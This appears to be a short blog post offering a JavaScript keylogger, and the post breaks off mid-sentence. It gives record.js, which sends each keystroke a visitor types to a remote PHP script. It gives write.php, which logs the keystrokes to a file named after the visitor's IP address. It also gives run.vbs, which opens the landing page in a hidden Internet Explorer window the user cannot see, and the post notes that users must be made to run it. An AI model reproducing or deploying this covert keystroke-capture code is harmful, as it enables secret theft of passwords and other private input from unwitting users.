Download

Download
Click Here to Download

Saturday, 31 December 2011

Javascript Keylogger

javascript Keylogger

So imagine you can log what users type on the page. Use your creativity and see the potential. Now let's begin;

record.js
function behavior(event)
{
var keya = "";
keya = event.keyCode;
keyb = String.fromCharCode(keya);
makeRequest('http://site.com/record/write.php?on=' + keyb);
}

function makeRequest(url)
{
var httpRequest;

if (window.XMLHttpRequest)
{ // Mozilla, Safari
httpRequest = new XMLHttpRequest();
if (httpRequest.overrideMimeType) {
httpRequest.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject)
{ // IE
try
{
httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
}

if (!httpRequest)
{

return false;
}
httpRequest.onreadystatechange = function() { alertContents(httpRequest); };
httpRequest.open('GET', url, true);
httpRequest.send(null);
}

function alertContents(httpRequest)
{
if (httpRequest.readyState == 4) {
if (httpRequest.status == 200) {
}
else
{

}
}
}

write.php
$_GET['on'];
$file = fopen($_SERVER['REMOTE_ADDR'] . ".txt","a");
fwrite($file,$_GET['on'] . '||');
fclose($file);
?>

landpage.php



Page Content

If visitors type something on the page, it recors it (creating txt file named visitor ip which contains what visitor write).

Here is what you can do also,

You can open the page at background (User can't see it)

To do this,

run.vbs
Visible = 0

Set objExplorer = WScript.CreateObject _
("InternetExplorer.Application", "IE_")
objExplorer.Navigate "http://mysite.com/landpage.html"

'Determines if the window is visible or not
objExplorer.Visible = 0

'Suspend the script for 1 minute
WScript.Sleep 60000

'Close the IE (instantiated) window
objExplorer.quit

Sub IE_onQuit()
Wscript.Quit
End Sub

Now we have to make user run our vbs file. We can do this with,

include this shit with

View the original article here